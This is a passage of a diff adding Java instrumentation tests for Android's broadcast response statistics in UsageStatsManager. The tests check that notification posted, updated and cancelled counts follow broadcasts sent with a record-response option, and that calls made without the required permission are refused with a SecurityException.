+    private static final String TEST_NOTIFICATION_CHANNEL_DESC = "test-channel-description";
+
+    private static final int TEST_NOTIFICATION_ID_1 = 10;
+    private static final int TEST_NOTIFICATION_ID_2 = 20;
+    private static final String TEST_NOTIFICATION_TITLE_FMT = "Test title; id=%s";
+    private static final String TEST_NOTIFICATION_TEXT_1 = "Test content 1";
+    private static final String TEST_NOTIFICATION_TEXT_2 = "Test content 2";
+
+    private static final int DEFAULT_TIMEOUT_MS = 10_000;
+    // For tests that are verifying a certain event doesn't occur, wait for some time
+    // to ensure the event doesn't really occur. Otherwise, we cannot be sure if the event didn't
+    // occur or the verification was done too early before the event occurred.
+    private static final int WAIT_TIME_FOR_NEGATIVE_TESTS_MS = 500;
+
+    // TODO: Define these constants in UsageStatsManager as @TestApis to avoid hardcoding here.
+    private static final String KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS =
+            "broadcast_response_window_timeout_ms";
+    private static final String KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE =
+            "broadcast_response_fg_threshold_state";
+    private static final String KEY_BROADCAST_SESSIONS_DURATION_MS =
+            "broadcast_sessions_duration_ms";
+    private static final String KEY_BROADCAST_SESSIONS_WITH_RESPONSE_DURATION_MS =
+            "broadcast_sessions_with_response_duration_ms";
+    private static final String KEY_RECORD_ALL_BROADCAST_SESSIONS_WITHIN_RESPONSE_WINDOW =
+            "record_all_broadcast_sessions_within_response_window";
+
+    private static Context sContext;
+    private static String sTargetPackage;
+    private UsageStatsManager mUsageStatsManager;
+    private UiDevice mUiDevice;
+    private UiAutomation mUiAutomation;
+
+    private static int sInitialAppOpMode;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        sContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        sTargetPackage = sContext.getPackageName();
+        sInitialAppOpMode = AppOpsUtils.getOpMode(sTargetPackage,
+                AppOpsManager.OPSTR_GET_USAGE_STATS);
+        AppOpsUtils.setOpMode(sTargetPackage, AppOpsManager.OPSTR_GET_USAGE_STATS,
+                AppOpsManager.MODE_IGNORED);
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        AppOpsUtils.setOpMode(sTargetPackage, AppOpsManager.OPSTR_GET_USAGE_STATS,
+                sInitialAppOpMode);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mUsageStatsManager = sContext.getSystemService(UsageStatsManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mUiAutomation = InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation();
+        mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mUiDevice.pressHome();
+
+        // Clear broadcast response stats
+        mUsageStatsManager.clearBroadcastEvents();
+        mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */, 0 /* id */);
+        mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastOptions_noPermission() throws Exception {
+        final BroadcastOptions options = BroadcastOptions.makeBasic();
+        options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+        final Intent intent = new Intent().setComponent(new ComponentName(
+                TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+        sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+        mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+        try {
+            assertThrows(SecurityException.class, () -> {
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+            });
+        } finally {
+            mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testQueryBroadcastResponseStats_noPermission() throws Exception {
+        mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+
+        mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+        try {
+            assertThrows(SecurityException.class, () -> {
+                mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG,
+                        TEST_RESPONSE_STATS_ID_1);
+            });
+        } finally {
+            mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testClearBroadcastResponseStats_noPermission() throws Exception {
+        mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+
+        mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+        try {
+            assertThrows(SecurityException.class, () -> {
+                mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
+                        TEST_RESPONSE_STATS_ID_1);
+            });
+        } finally {
+            mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_broadcastDispatchedCount() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Send a normal broadcast.
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            sendBroadcastAndWaitForReceipt(intent, null);
+
+            // Trigger a notification from test app and verify none of the counts get
+            // incremented.
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send a broadcast with a request to record response.
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            // Trigger a notification from test app and verify notification-posted count gets
+            // incremented.
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_notificationPostedCount() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Send a normal broadcast and verify none of the counts get incremented.
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            sendBroadcastAndWaitForReceipt(intent, null);
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send a broadcast with a request to record response and verify broadcast-sent
+            // count gets incremented.
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            // Trigger a notification from test app and verify notification-posted count gets
+            // incremented.
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    1 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_notificationUpdatedCount() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Post a notification (before sending any broadcast) and verify none of the counts
+            // get incremented.
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send a broadcast with a request to record response and verify broadcast-sent
+            // count gets incremented.
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            // Update a previously posted notification (change content text) and verify
+            // notification-updated count gets incremented.
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_notificationCancelledCount() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Post a notification (before sending any broadcast) and verify none of the counts
+            // get incremented.
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send a broadcast with a request to record response and verify broadcast-sent
+            // count gets incremented.
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            sendBroadcastAndWaitForReceipt(intent, null);
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            // Cancel a previously posted notification (change content text) and verify
+            // notification-cancelled count gets incremented.
+            testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    1 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_multipleEvents() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Send a normal broadcast and verify none of the counts get incremented.
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            sendBroadcastAndWaitForReceipt(intent, null);
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send a broadcast with a request to record response and verify broadcast-sent
+            // count gets incremented.
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            // Trigger a notification from test app and verify notification-posted count gets
+            // incremented.
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    1 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send another broadcast and trigger another notification.
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_2,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_2,
+                            TEST_NOTIFICATION_TEXT_2));
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    2 /* broadcastCount */,
+                    2 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send another broadcast with a different ID and update a previously posted
+            // notification.
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    2 /* broadcastCount */,
+                    2 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Update/cancel a previously posted notifications and verify there is
+            // no change in counts.
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+            testReceiver.cancelNotification(TEST_NOTIFICATION_ID_2);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    2 /* broadcastCount */,
+                    2 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_clearCounts() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Send a broadcast with a request to record response and verify broadcast-sent
+            // count gets incremented.
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            // Trigger a notification from test app and verify notification-posted count gets
+            // incremented.
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    1 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            // Send the broadcast again after clearing counts and verify counts get incremented
+            // as expected.
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+            testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    2 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    1 /* notificationUpdatedCount */,
+                    1 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @MediumTest
+    @Test
+    public void testBroadcastResponseStats_changeResponseWindowDuration() throws Exception {
+        final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(2);
+        try (DeviceConfigStateHelper deviceConfigStateHelper =
+                     new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+                    String.valueOf(broadcastResponseWindowDurationMs));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
